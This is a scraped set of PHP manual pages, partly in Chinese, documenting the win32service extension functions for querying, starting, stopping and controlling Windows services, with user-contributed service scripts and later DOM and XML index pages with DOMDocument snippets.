win32_query_service_status

(PECL win32service >=0.1.0)

win32_query_service_status — Queries the status of a service

说明

win32_query_service_status ( string $servicename [, string $machine ] ) : mixed

Queries the current status for a service, returning an array of information.

参数

servicename

The short name of the service.

machine

The optional machine name. If omitted, the local machine will be used.

返回值

Returns an array consisting of the following information on success，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

ServiceType

The dwServiceType. See Win32Service Service Type Bitmasks.

CurrentState

The dwCurrentState. See Win32Service Service Status Constants.

ControlsAccepted

Which service controls are accepted by the service. See Win32Service Service Control Message Accepted Bitmasks.

Win32ExitCode

If the service exited, the return code from the process. This value is equal to WIN32_ERROR_SERVICE_SPECIFIC_ERROR if the exit mode is not gracefuly. See Win32Service error codes and win32_set_service_exit_mode()

ServiceSpecificExitCode

If the service exited with an error condition, the service specific code that is logged in the event log is visible here. This value is equal to the value defined by win32_set_service_exit_code()

CheckPoint

If the service is shutting down, holds the current check point number. This is used by the SCM as a kind of heart-beat to detect a wedged service process. The value of the check point is best interpreted in conjunction with the WaitHint value.

WaitHint

If the service is shutting down it will set WaitHint to a checkpoint value that will indicate 100% completion. This can be used to implement a progress indicator.

ProcessId

The Windows process identifier. If 0, the process is not running.

ServiceFlags

The dwServiceFlags. See Win32Service Service Service Flag Constants.

参见

  • Win32Service Predefined Constants

User Contributed Notes

demers dot alex at gmail dot com 21-Jul-2009 08:39
This function will return an array containing the above information as a return value, but if this fails it will return an integer which is a System Error Code. All the System Error Codes can be found here:

http://msdn.microsoft.com/en-us/library/ms681381%28VS.85%29.aspx

In my case, it returned 5, in which I immediately knew why and fixed the issue right away.

In the case of mnemotronic at netscape dot net, here in the documentation notes, it returned 1060 which is:

ERROR_SERVICE_DOES_NOT_EXIST
1060 (0x424)
The specified service does not exist as an installed service.

Again, it should not return FALSE, instead an System Error Code for Windows.


Send a custom control to the service

  • ? win32_query_service_status
  • win32_set_service_exit_code ?
  • PHP Manual
  • win32service 函数
  • Send a custom control to the service

win32_send_custom_control

(PECL win32service >=0.4.0)

win32_send_custom_control — Send a custom control to the service

说明

win32_send_custom_control ( string $servicename , int $control [, string $machine ] ) : int

See » Microsoft ControlService function for more details

参数

servicename

The short name of the service.

control

The custom contole value between 128 and 255.

machine

Optional machine name. If omitted, the local machine is used.

返回值

成功时返回 WIN32_NO_ERROR，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

错误／异常

If the control value is not between 128 and 255, this function emits an E_ERROR level error.

参见

  • win32_start_service() - Starts a service
  • win32_stop_service() - Stops a service
  • win32_pause_service() - Pauses a service
  • win32_continue_service() - Resumes a paused service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Define or return the exit code for the current running service

  • ? win32_send_custom_control
  • win32_set_service_exit_mode ?
  • PHP Manual
  • win32service 函数
  • Define or return the exit code for the current running service

win32_set_service_exit_code

(PECL win32service >=0.4.0)

win32_set_service_exit_code — Define or return the exit code for the current running service

说明

win32_set_service_exit_code ([ int $exitCode = 1 ] ) : int

Change or return the exit code. The exit code is used only if the exit mode is not graceful. If the value is not zero, the recovery configuration can be used after service fail. See » Microsoft system error codes for more details

Caution

This function work only in "cli" SAPI. On other SAPI this function is disabled.

参数

exitCode

The return code used on exit.

返回值

Return the current or old exit code.

错误／异常

If SAPI is not "cli", this function emits an E_ERROR level error.

参见

  • win32_start_service_ctrl_dispatcher() - Registers the script with the SCM, so that it can act as the service with the given name
  • win32_set_service_status() - Update the service status
  • win32_set_service_exit_mode() - Define or return the exit mode for the current running service

User Contributed Notes

There are no user contributed notes for this page.


Define or return the exit mode for the current running service

  • ? win32_set_service_exit_code
  • win32_set_service_status ?
  • PHP Manual
  • win32service 函数
  • Define or return the exit mode for the current running service

win32_set_service_exit_mode

(PECL win32service >=0.4.0)

win32_set_service_exit_mode — Define or return the exit mode for the current running service

说明

win32_set_service_exit_mode ([ bool $gracefulMode = true ] ) : bool

If gracefulMode parameter is provided, the exit mode is changed. When the exit mode is not gracefuly, the exit code used can be set with the win32_set_service_exit_code() function.

Caution

This function work only in "cli" SAPI. On other SAPI this function is disabled.

参数

gracefulMode

TRUE for exit graceful. FALSE for exit with error.

返回值

Return the current or old exit mode.

错误／异常

If SAPI is not "cli", this function emits an E_ERROR level error.

参见

  • win32_start_service_ctrl_dispatcher() - Registers the script with the SCM, so that it can act as the service with the given name
  • win32_set_service_status() - Update the service status
  • win32_set_service_exit_code() - Define or return the exit code for the current running service

User Contributed Notes

There are no user contributed notes for this page.


Update the service status

  • ? win32_set_service_exit_mode
  • win32_start_service_ctrl_dispatcher ?
  • PHP Manual
  • win32service 函数
  • Update the service status

win32_set_service_status

(PECL win32service >=0.1.0)

win32_set_service_status — Update the service status

说明

win32_set_service_status ( int $status [, int $checkpoint = 0 ] ) : bool

Informs the SCM of the current status of a running service. This call is only valid for a running service process.

Caution

Since version 0.2.0, this function work only in "cli" SAPI. On other SAPI this function is disabled.

参数

status

The service status code, one of WIN32_SERVICE_RUNNING, WIN32_SERVICE_STOPPED, WIN32_SERVICE_STOP_PENDING, WIN32_SERVICE_START_PENDING, WIN32_SERVICE_CONTINUE_PENDING, WIN32_SERVICE_PAUSE_PENDING, WIN32_SERVICE_PAUSED.

checkpoint

The checkpoint value the service increments periodically to report its progress during a lengthy start, stop, pause, or continue operation. For example, the service should increment this value as it completes each step of its initialization when it is starting up.

The checkpoint is only valid when the status is one of WIN32_SERVICE_STOP_PENDING, WIN32_SERVICE_START_PENDING, WIN32_SERVICE_CONTINUE_PENDING or WIN32_SERVICE_PAUSE_PENDING.

返回值

成功时返回 TRUE，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

错误／异常

If SAPI is not "cli", this function emits an E_ERROR level error.

更新日志

版本 | 说明
0.2.0 | This function works only in the "cli" SAPI.

参见

  • win32_start_service_ctrl_dispatcher() - Registers the script with the SCM, so that it can act as the service with the given name
  • win32_get_last_control_message() - Returns the last control message that was sent to this service
  • win32_set_service_exit_mode() - Define or return the exit mode for the current running service
  • win32_set_service_exit_code() - Define or return the exit code for the current running service
  • Win32Service Service Status Constants

User Contributed Notes

paul_nelson57071 at yahoo dot com 13-May-2010 11:04
So after much searching I finally found all the peices to make a working windows service & server including:
- Installing & Uninstalling the service
- Starting & Stopping the Service
- Actually running a basic Server
- Responding to windows Service to Stop/Start/Restart

I hope you find this useful! I did this using PHP 5.2 and the PECL library for 5.2 (PHP 5.3 at the time does not have a PECL Library compiled for it)

<?php
    //Service Settings
    $Service = 'MyServiceFinal';
    $Display = 'My PHP Service';

    //Server Settings
    $host = '127.0.0.1';        //Bind to IP #
    $port = 23;                            //On port #
    $max = 20;                            //Maximum Clients

    //Exit if no start-up argument is passed
    if (!isset($argv[1])){ShowHelp(); exit;}

    //Create Windows Service
    if ($argv[1] == 'install') {
    $x = win32_create_service(array(
        'service' => $Service,
        'display' => $Service,
        'params' => __file__ . ' run',
        'path' => 'c:\\php\\php.exe',
    ));
    debug_zval_dump($x);
    echo "Service Installed\n\n";
    exit;

  //Remove Windows Service
    } else if ($argv[1] == 'uninstall') {
        $x = win32_delete_service($Service);
        debug_zval_dump($x);
        echo "Service Removed\n\n";
        exit;

  //Start Windows Service
    } elseif($argv[1] == "start") {
      $x = win32_start_service($Service);
      debug_zval_dump($x);
      echo "Service Started\n\n";
      exit;

    //Stop Windows Service
    } elseif($argv[1] == "stop") {
      $x = win32_stop_service($Service);
      debug_zval_dump($x);
      echo "Service Stopped\n\n";
      exit;

    //Unkown Command
    } else if ($argv[1] != 'run') {
        ShowHelp(); exit();
    }

//Tell windows the service has started...
if (!win32_start_service_ctrl_dispatcher($Service)) die("Could not connect to service : $Service");
win32_set_service_status(WIN32_SERVICE_RUNNING);

// No timeouts, flush content immediatly
set_time_limit(0);
ob_implicit_flush();

//Server Loop
while (1) {
    usleep(500);

    //Handle Windows Service Request
    switch (win32_get_last_control_message()) {
        case WIN32_SERVICE_CONTROL_CONTINUE: break; // Continue server routine
        case WIN32_SERVICE_CONTROL_INTERROGATE: win32_set_service_status(WIN32_NO_ERROR); break; // Respond with status
        case WIN32_SERVICE_CONTROL_STOP: win32_set_service_status(WIN32_SERVICE_STOPPED); exit; // Terminate script
        default: win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED); // Add more cases to handle other service calls
    }
    //Acutal Server Code

}

//Clean up and Exit
win32_set_service_status(WIN32_SERVICE_STOPPED);
exit;

//*************** FUNCTIONS ***************
function ShowHelp(){
    echo "Usage:
    install:\t installs servce
    uninstall:\t deletes service
    start:\t\t Start the windows service
    stop:\t\t Stops the windows service
    run:\t\t called by CMS to run the service

For information on code numbers type 'net helpmsg xxxx'
EXAMPEL: 'net helpmsg 1072'

    ";
}
?>
m dot hald at surfto dot ch 12-May-2008 04:16
On my Machine (Win XP SP2) the function "win32_get_last_control_message" never returns 4 so i will have to reply to 0 also.

finally after mixing several examples i now have a version working woithout filling my event log with errors:

<?php

/*
 * PHP SAMPLE TEMPLATE
 */

/*
 * APP MAIN FUNCTION
 * Called each second after the function last time finished
 * Should not take longer than max 20 seconds to execute
 * ELSE you should call NTServiceResponder(); at least each 20 secs
 * WARNING: NTServiceResponder will exit; if there was a STOP request
 */
function Service_Main()
{
    // YOU APPLICATION CODE HERE !!!
    sleep(1); // dummy something
}

/********************************************************************
 *
 * SERVICE CONTROLLING
 *
 ********************************************************************/

$SERVICE_NAME = "phptestservice";
$SERVICE_DISPLAY = "Test Service with PHP";

// so u can get: $SERVICE_PATH_PARTS["dirname"] $SERVICE_PATH_PARTS["basename"]  $SERVICE_PATH_PARTS["extension"]
$SERVICE_PATH_PARTS = pathinfo(__FILE__);

$SERVICE_PARAMS = " run";

    if (!isset($argv[1]))
    {
        die("this application need to be installed as a service.\n run with param install");
    }

    if ($argv[1] == 'install')
    {
        $x = win32_create_service(array(
                                        'service' => $SERVICE_NAME,
                                        'display' => $SERVICE_DISPLAY,
                                        'params' =>  __FILE__ . $SERVICE_PARAMS,
                                        //'path' =>  $SERVICE_PATH_PARTS["dirname"] . '\php.exe'
                                        ));
        debug_zval_dump($x);
        exit;
    }
    else if ($argv[1] == 'uninstall')
    {
        $x = win32_delete_service('dummyphp');
        debug_zval_dump($x);
        exit;
    }
    else if ($argv[1] != 'run')
    {
        die("bogus args, needs to run as service");
    }

    // Connect to service dispatcher and notify that startup was successful
    if (!win32_start_service_ctrl_dispatcher($SERVICE_NAME)) die('Could not connect to service :'.$SERVICE_NAME);
    win32_set_service_status(WIN32_SERVICE_RUNNING);

    // Main Server Loop
    while (1)
    {
        NTServiceResponder();

        // Main script goes here
        Service_Main();

        sleep(1); // at least 1 sec delay per loop
    }
    win32_set_service_status(WIN32_SERVICE_STOPPED);

/*
 * Response to NTServiceRequests
 */
function NTServiceResponder()
{

    switch (win32_get_last_control_message())
    {
    case 0: // PATCH for: seems never to go to 4 (WIN32_SERVICE_CONTROL_INTERROGATE)
        win32_set_service_status(WIN32_SERVICE_RUNNING);
        return TRUE;
        break;
    case WIN32_SERVICE_CONTROL_CONTINUE:
        return TRUE; // "Continue"
    case WIN32_SERVICE_CONTROL_INTERROGATE:
        win32_set_service_status(WIN32_SERVICE_RUNNING);
        return TRUE; // Respond with status
    case WIN32_SERVICE_CONTROL_STOP:
        win32_set_service_status(WIN32_SERVICE_STOPPED);
        exit; // Terminate script
    default:
        win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED); // Add more cases to handle other service calls
    }

    return FALSE;
}

?>


Registers the script with the SCM, so that it can act as the service with the given name

  • ? win32_set_service_status
  • win32_start_service ?
  • PHP Manual
  • win32service 函数
  • Registers the script with the SCM, so that it can act as the service with the given name

win32_start_service_ctrl_dispatcher

(PECL win32service >=0.1.0)

win32_start_service_ctrl_dispatcher — Registers the script with the SCM, so that it can act as the service with the given name

说明

win32_start_service_ctrl_dispatcher ( string $name [, bool $gracefulMode = true ] ) : mixed

When launched via the Service Control Manager, a service process is required to "check-in" with it to establish service monitoring and communication facilities. This function performs the check-in by spawning a thread to handle the lower-level communication with the service control manager.

Once started, the service process should do 2 things. The first is to tell the Service Control Manager that the service is running. This is achieved by calling win32_set_service_status() with the WIN32_SERVICE_RUNNING constant. If you need to perform some lengthy process before the service is actually running, then you can use the WIN32_SERVICE_START_PENDING constant. The second is to continue to check-in with the service control manager so that it can determine if it should terminate. This is achieved by periodically calling win32_get_last_control_message() and handling the return code appropriately.

Caution

Since version 0.2.0, this function work only in "cli" SAPI. On other SAPI this function is disabled.

参数

name

The short-name of the service, as registered by win32_create_service().

gracefulMode

TRUE for exit graceful. FALSE for exit with error. See win32_set_service_exit_mode() for more details.

返回值

成功时返回 TRUE，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

错误／异常

If SAPI is not "cli", this function emits an E_ERROR level error.

范例

Example #1 A win32_start_service_ctrl_dispatcher() example

Check if the service is runnig under the SCM.

<?php
if (!win32_start_service_ctrl_dispatcher('dummyphp')) {
  die("I'm probably not running under the service control manager");
}

win32_set_service_status(WIN32_SERVICE_START_PENDING);

// Some lengthy process to get this service up and running.

win32_set_service_status(WIN32_SERVICE_RUNNING);

while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
  # do some work here, trying not to take more than around 30 seconds
  # before coming back into the loop again
}
?>

更新日志

版本 | 说明
0.4.0 | The parameter gracefulMode has been added.
0.2.0 | This function works only in the "cli" SAPI.

参见

  • win32_set_service_status() - Update the service status
  • win32_get_last_control_message() - Returns the last control message that was sent to this service
  • win32_set_service_exit_mode() - Define or return the exit mode for the current running service
  • win32_set_service_exit_code() - Define or return the exit code for the current running service
  • Win32 Error Codes

User Contributed Notes

andrea 09-Oct-2009 03:07
Insert value of params between " if the string have a space:

<?php
// First you need to create a service, you only need to do this once
/*
win32_create_service(array(
    'service' => 'myphpservice',
    'display' => 'My PHP Service',
    'params' => '"c:\\my folder\myphpservice.php"',
    'path' => 'c:\\PHP\\php.exe'));
*/
?>
dylan at nopower dot org 14-Jul-2007 07:59
<?php
// First you need to create a service, you only need to do this once
/*
win32_create_service(array(
    'service' => 'myphpservice',
    'display' => 'My PHP Service',
    'params' => 'c:\\myphpservice.php',
    'path' => 'c:\\PHP\\php.exe'));
*/

$myservicename = 'myphpservice';

// Connect to service dispatcher and notify that startup was successful
if (!win32_start_service_ctrl_dispatcher($myservicename)) die('Could not connect to service :'.$myservicename);
win32_set_service_status(WIN32_SERVICE_RUNNING);

// Main Server Loop
while (1) {
    switch (win32_get_last_control_message()) {
        case WIN32_SERVICE_CONTROL_CONTINUE: break; // Continue server routine
        case WIN32_SERVICE_CONTROL_INTERROGATE: win32_set_service_status(WIN32_NO_ERROR); break; // Respond with status
        case WIN32_SERVICE_CONTROL_STOP: win32_set_service_status(WIN32_SERVICE_STOPPED); exit; // Terminate script
        default: win32_set_service_status(WIN32_ERROR_CALL_NOT_IMPLEMENTED); // Add more cases to handle other service calls
    }

    // Main script goes here

    sleep(10); // Run every 10 seconds
}
win32_set_service_status(WIN32_SERVICE_STOPPED);
?>
Guibod 10-Jul-2007 05:41
Don't try to call "win32_start_service_ctrl_dispatcher" too late in your code. You'd trigger a #2186 error : "The service is not responding to the control function." (from commande line) or a #1053 error : "The service did not respond to the start or control request in a timely fashion." (from services GUI).

Try not to load a bunch of PEAR classes before to register php script as Service like I did.

Another good hint, to get a verbose version of the return code, you can call "NET HELPMSG ###" from command line where ### is your error code.


Starts a service

  • ? win32_start_service_ctrl_dispatcher
  • win32_stop_service ?
  • PHP Manual
  • win32service 函数
  • Starts a service

win32_start_service

(PECL win32service >=0.1.0)

win32_start_service — Starts a service

说明

win32_start_service ( string $servicename [, string $machine ] ) : int

Attempts to start the named service. Requires administrative privileges or an account with appropriate rights set in the service's ACL.

参数

servicename

The short name of the service.

machine

Optional machine name. If omitted, the local machine is used.

返回值

成功时返回 WIN32_NO_ERROR，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

更新日志

版本 | 说明
0.3.0 | This function does not longer require an administrator account if ACL is set for another account.

参见

  • win32_stop_service() - Stops a service
  • win32_pause_service() - Pauses a service
  • win32_continue_service() - Resumes a paused service
  • win32_send_custom_control() - Send a custom control to the service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


Stops a service

  • ? win32_start_service
  • XML 操作 ?
  • PHP Manual
  • win32service 函数
  • Stops a service

win32_stop_service

(PECL win32service >=0.1.0)

win32_stop_service — Stops a service

说明

win32_stop_service ( string $servicename [, string $machine ] ) : int

Stops a named service. Requires administrative privileges or an account with appropriate rights set in the service's ACL.

参数

servicename

The short name of the service.

machine

Optional machine name. If omitted, the local machine is used.

返回值

成功时返回 WIN32_NO_ERROR，参数错误时返回 FALSE，或失败时返回一个 Win32 错误码。

更新日志

版本 | 说明
0.3.0 | This function does not longer require an administrator account if ACL is set for another account.

参见

  • win32_start_service() - Starts a service
  • win32_pause_service() - Pauses a service
  • win32_continue_service() - Resumes a paused service
  • win32_send_custom_control() - Send a custom control to the service
  • Win32 Error Codes

User Contributed Notes

There are no user contributed notes for this page.


XML 操作

  • DOM — Document Object Model
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • DOMAttr — The DOMAttr class
    • DOMCdataSection — The DOMCdataSection class
    • DOMCharacterData — The DOMCharacterData class
    • DOMComment — The DOMComment class
    • DOMDocument — The DOMDocument class
    • DOMDocumentFragment — The DOMDocumentFragment class
    • DOMDocumentType — The DOMDocumentType class
    • DOMElement — The DOMElement class
    • DOMEntity — The DOMEntity class
    • DOMEntityReference — The DOMEntityReference class
    • DOMException — The DOMException class
    • DOMImplementation — The DOMImplementation class
    • DOMNamedNodeMap — The DOMNamedNodeMap class
    • DOMNode — The DOMNode class
    • DOMNodeList — The DOMNodeList class
    • DOMNotation — The DOMNotation class
    • DOMProcessingInstruction — The DOMProcessingInstruction class
    • DOMText — The DOMText class
    • DOMXPath — The DOMXPath class
    • DOM 函数
  • libxml
    • 简介
    • 安装／配置
    • 预定义常量
    • libXMLError — The libXMLError class
    • libxml 函数
  • SDO — Service Data Objects
    • 简介
    • 安装／配置
    • 预定义常量
    • Limitations
    • 范例
    • SDO 函数
  • SDO-DAS-Relational — SDO Relational Data Access Service
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • Limitations
    • SDO-DAS-Relational 函数
  • SDO DAS XML — SDO XML Data Access Service
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • SDO DAS XML 函数
  • SimpleXML
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • SimpleXMLElement — The SimpleXMLElement class
    • SimpleXMLIterator — The SimpleXMLIterator class
    • SimpleXML 函数
  • WDDX
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • WDDX 函数
  • XMLDiff — XML diff and merge
    • 简介
    • 安装／配置
    • XMLDiff\Base — The XMLDiff\Base class
    • XMLDiff\DOM — The XMLDiff\DOM class
    • XMLDiff\Memory — The XMLDiff\Memory class
    • XMLDiff\File — The XMLDiff\File class
  • XML 解析器
    • 简介
    • 安装／配置
    • 预定义常量
    • 事件处理器
    • Case Folding(大写转换)
    • 错误代码
    • 字符编码
    • 范例
    • XML 解析器函数
  • XMLReader
    • 简介
    • 安装／配置
    • XMLReader — The XMLReader class
  • XMLWriter
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • XMLWriter 函数
  • XSL
    • 简介
    • 安装／配置
    • 预定义常量
    • 范例
    • XSLTProcessor — The XSLTProcessor class

User Contributed Notes

There are no user contributed notes for this page.


Document Object Model

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
  • DOMAttr — The DOMAttr class
    • DOMAttr::__construct — Creates a new DOMAttr object
    • DOMAttr::isId — Checks if attribute is a defined ID
  • DOMCdataSection — The DOMCdataSection class
    • DOMCdataSection::__construct — Constructs a new DOMCdataSection object
  • DOMCharacterData — The DOMCharacterData class
    • DOMCharacterData::appendData — Append the string to the end of the character data of the node
    • DOMCharacterData::deleteData — Remove a range of characters from the node
    • DOMCharacterData::insertData — Insert a string at the specified 16-bit unit offset
    • DOMCharacterData::replaceData — Replace a substring within the DOMCharacterData node
    • DOMCharacterData::substringData — Extracts a range of data from the node
  • DOMComment — The DOMComment class
    • DOMComment::__construct — Creates a new DOMComment object
  • DOMDocument — The DOMDocument class
    • DOMDocument::__construct — Creates a new DOMDocument object
    • DOMDocument::createAttribute — Create new attribute
    • DOMDocument::createAttributeNS — Create new attribute node with an associated namespace
    • DOMDocument::createCDATASection — Create new cdata node
    • DOMDocument::createComment — Create new comment node
    • DOMDocument::createDocumentFragment — Create new document fragment
    • DOMDocument::createElement — Create new element node
    • DOMDocument::createElementNS — Create new element node with an associated namespace
    • DOMDocument::createEntityReference — Create new entity reference node
    • DOMDocument::createProcessingInstruction — Creates new PI node
    • DOMDocument::createTextNode — Create new text node
    • DOMDocument::getElementById — Searches for an element with a certain id
    • DOMDocument::getElementsByTagName — Searches for all elements with given local tag name
    • DOMDocument::getElementsByTagNameNS — Searches for all elements with given tag name in specified namespace
    • DOMDocument::importNode — Import node into current document
    • DOMDocument::load — Load XML from a file
    • DOMDocument::loadHTML — Load HTML from a string
    • DOMDocument::loadHTMLFile — Load HTML from a file
    • DOMDocument::loadXML — Load XML from a string
    • DOMDocument::normalizeDocument — Normalizes the document
    • DOMDocument::registerNodeClass — Register extended class used to create base node type
    • DOMDocument::relaxNGValidate — Performs relaxNG validation on the document
    • DOMDocument::relaxNGValidateSource — Performs relaxNG validation on the document
    • DOMDocument::save — Dumps the internal XML tree back into a file
    • DOMDocument::saveHTML — Dumps the internal document into a string using HTML formatting
    • DOMDocument::saveHTMLFile — Dumps the internal document into a file using HTML formatting
    • DOMDocument::saveXML — Dumps the internal XML tree back into a string
    • DOMDocument::schemaValidate — Validates a document based on a schema
    • DOMDocument::schemaValidateSource — Validates a document based on a schema
    • DOMDocument::validate — Validates the document based on its DTD
    • DOMDocument::xinclude — Substitutes XIncludes in a DOMDocument Object
  • DOMDocumentFragment — The DOMDocumentFragment class
    • DOMDocumentFragment::appendXML — Append raw XML data
  • DOMDocumentType — The DOMDocumentType class
  • DOMElement — The DOMElement class
    • DOMElement::__construct — Creates a new DOMElement object
    • DOMElement::getAttribute — Returns value of attribute
    • DOMElement::getAttributeNode — Returns attribute node
    • DOMElement::getAttributeNodeNS — Returns attribute node
    • DOMElement::getAttributeNS — Returns value of attribute
    • DOMElement::getElementsByTagName — Gets elements by tagname
    • DOMElement::getElementsByTagNameNS — Get elements by namespaceURI and localName
    • DOMElement::hasAttribute — Checks to see if attribute exists
    • DOMElement::hasAttributeNS — Checks to see if attribute exists
    • DOMElement::removeAttribute — Removes attribute
    • DOMElement::removeAttributeNode — Removes attribute
    • DOMElement::removeAttributeNS — Removes attribute
    • DOMElement::setAttribute — Adds new attribute
    • DOMElement::setAttributeNode — Adds new attribute node to element
    • DOMElement::setAttributeNodeNS — Adds new attribute node to element
    • DOMElement::setAttributeNS — Adds new attribute
    • DOMElement::setIdAttribute — Declares the attribute specified by name to be of type ID
    • DOMElement::setIdAttributeNode — Declares the attribute specified by node to be of type ID
    • DOMElement::setIdAttributeNS — Declares the attribute specified by local name and namespace URI to be of type ID
  • DOMEntity — The DOMEntity class
  • DOMEntityReference — The DOMEntityReference class
    • DOMEntityReference::__construct — Creates a new DOMEntityReference object
  • DOMException — The DOMException class
  • DOMImplementation — The DOMImplementation class
    • DOMImplementation::__construct — Creates a new DOMImplementation object
    • DOMImplementation::createDocument — Creates a DOMDocument object of the specified type with its document element
    • DOMImplementation::createDocumentType — Creates an empty DOMDocumentType object
    • DOMImplementation::hasFeature — Test if the DOM implementation implements a specific feature
  • DOMNamedNodeMap — The DOMNamedNodeMap class
    • DOMNamedNodeMap::count — Get number of nodes in the map
    • DOMNamedNodeMap::getNamedItem — Retrieves a node specified by name
    • DOMNamedNodeMap::getNamedItemNS — Retrieves a node specified by local name and namespace URI
    • DOMNamedNodeMap::item — Retrieves a node specified by index
  • DOMNode — The DOMNode class
    • DOMNode::appendChild — Adds new child at the end of the children
    • DOMNode::C14N — Canonicalize nodes to a string
    • DOMNode::C14NFile — Canonicalize nodes to a file
    • DOMNode::cloneNode — Clones a node
    • DOMNode::getLineNo — Get line number for a node
    • DOMNode::getNodePath — Get an XPath for a node
    • DOMNode::hasAttributes — Checks if node has attributes
    • DOMNode::hasChildNodes — Checks if node has children
    • DOMNode::insertBefore — Adds a new child before a reference node
    • DOMNode::isDefaultNamespace — Checks if the specified namespaceURI is the default namespace or not
    • DOMNode::isSameNode — Indicates if two nodes are the same node
    • DOMNode::isSupported — Checks if feature is supported for specified version
    • DOMNode::lookupNamespaceUri — Gets the namespace URI of the node based on the prefix
    • DOMNode::lookupPrefix — Gets the namespace prefix of the node based on the namespace URI
    • DOMNode::normalize — Normalizes the node
    • DOMNode::removeChild — Removes child from list of children
    • DOMNode::replaceChild — Replaces a child
  • DOMNodeList — The DOMNodeList class
    • DOMNodeList::count — Get number of nodes in the list
    • DOMNodeList::item — Retrieves a node specified by index
  • DOMNotation — The DOMNotation class
  • DOMProcessingInstruction — The DOMProcessingInstruction class
    • DOMProcessingInstruction::__construct — Creates a new DOMProcessingInstruction object
  • DOMText — The DOMText class
    • DOMText::__construct — Creates a new DOMText object
    • DOMText::isElementContentWhitespace — Returns whether this text node contains whitespace in element content
    • DOMText::isWhitespaceInElementContent — Indicates whether this text node contains whitespace
    • DOMText::splitText — Breaks this node into two nodes at the specified offset
  • DOMXPath — The DOMXPath class
    • DOMXPath::__construct — Creates a new DOMXPath object
    • DOMXPath::evaluate — Evaluates the given XPath expression and returns a typed result if possible
    • DOMXPath::query — Evaluates the given XPath expression
    • DOMXPath::registerNamespace — Registers the namespace with the DOMXPath object
    • DOMXPath::registerPhpFunctions — Register PHP functions as XPath functions
  • DOM 函数
    • dom_import_simplexml — Gets a DOMElement object from a SimpleXMLElement object

User Contributed Notes

chealer at gmail dot com 05-Jul-2018 05:12
This extension allows editing an HTML snippet, for example removing an element:
??$dom = new DOMDocument();
??$dom->loadHTML('keep<b id="simple">REMOVE</b>');
$??remove = $dom->getElementById('simple');
??$dom->removeChild($??remove);
echo ??$dom->saveHTML();
...would output "keep".

But it does not preserve formatting. If your code defines attributes using double quotes, saveHTML() may for instance return single quotes instead.
emmanuellutula at hotmail dot com 24-Apr-2018 04:35
If you want to  use DOMDocument in your PHPUnit Tests drive on Symfony Controller (testing form)! Use like :

namespace Tests\YourBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
use YourBundle\Controller\TextController;

class DefaultControllerTest extends WebTestCase
{
    public function testIndex()
    {
        $client = static::createClient(array(), array());

        $crawler = $client->request('GET', '/text/add');
        $this->assertTrue($crawler->filter("form")->count() > 0, "Text form exist !");

        $form = $crawler->filter("form")->form();

        $domDocument = new \DOMDocument;

        $domInput = $domDocument->createElement('input');
        $dom = $domDocument->appendChild($domInput);
        $dom->setAttribute('slug', 'bloc');

        $formInput = new \Symfony\Component\DomCrawler\Field\InputFormField($domInput);
        $form->set($formInput);

        $crawler = $client->submit($form);

        if ($client->getResponse()->isRedirect())
        {
            $crawler = $client->followRedirect(false);
        }

       // $this->assertTrue($client->getResponse()->isSuccessful());
        //$this->assertEquals(200, $client->getResponse()->getStatusCode(),
        //             "Unexpected HTTP status code for GET /backoffice/login");

    }
}
ohcc at 163 dot com 29-Oct-2015 05:31
<?php
    // this note is about how to get a DOMNode's outerHTML and innerHTML.
    $dom = new DOMDocument('1.0','UTF-8');
    $dom->loadHTML('<html><body><div><p>p1</p><p>p2</p></div></body></html>');
    $node = $dom->getElementsByTagName('div')->item(0);
    $outerHTML = $node->ownerDocument->saveHTML($node);
    $innerHTML = '';
    foreach ($node->childNodes as $childNode){
        $innerHTML .= $childNode->ownerDocument->saveHTML($childNode);
    }
    echo '<h2>outerHTML: </h2>';
    echo htmlspecialchars($outerHTML);
    echo '<h2>innerHTML: </h2>';
    echo htmlspecialchars($innerHTML);
?>
super dot puma at gmail dot com 13-May-2014 04:57
If  you want to print the DOM XML file content, you can use the next code:

$doc = new DOMDocument();
$doc->load($xmlFileName);
echo "<br>" . $doc->documentURI;
$x = $doc->documentElement;
getNodeContent($x->childNodes, 0);

function getNodeContent($nodes, $level){
    foreach ($nodes AS $item) {
    //  print "<br><br>TIPO: " . $item->nodeType ;
      printValues($item, $level);
      if ($item->nodeType == 1) { //DOMElement
          foreach ($item->attributes AS $itemAtt) {
              printValues($itemAtt, $level+3);
          }
          if($item->childNodes || $item->childNodes->lenth > 0) {
              getNodeContent($item->childNodes, $level+5);
          }
      }
    }
}

function printValues($item, $level){
    if ($item->nodeType == 1) { //DOMElement
        printLevel($level);
        print $item->nodeName . " = " . $item->nodeValue;
    }
    if ($item->nodeType == 2) { //DOMAttr
        printLevel($level);
        print $item->name . " = " . $item->value ;
    }
    if ($item->nodeType == 3) { //DOMText
      if ($item->isWhitespaceInElementContent() == false){
        printLevel($level);
        print $item->wholeText ;
      }
    }
}

function printLevel($level)
{
    print "<br>";
    if ($level == 0) {
        print "<br>";
    }
    for($i=0; $i < $level; $i++) {
        print "-";
    }
}
Drupella 16-Sep-2011 09:18
Here is a fast innerHTML function that returns the result without iterating over child nodes.

<?php
function innerHTML($el) {
  $doc = new DOMDocument();
  $doc->appendChild($doc->importNode($el, TRUE));
  $html = trim($doc->saveHTML());
  $tag = $el->nodeName;
  return preg_replace('@^<' . $tag . '[^>]*>|</' . $tag . '>$@', '', $html);
}
?>

Example
<?php
$doc = new DOMDocument();
// A corrupt HTML string
$doc->loadHTML('<HTML><A HREF="ss">asd</A>');
$body = $doc->getElementsByTagName('body')->item(0);
print htmlspecialchars(innerHTML($body));
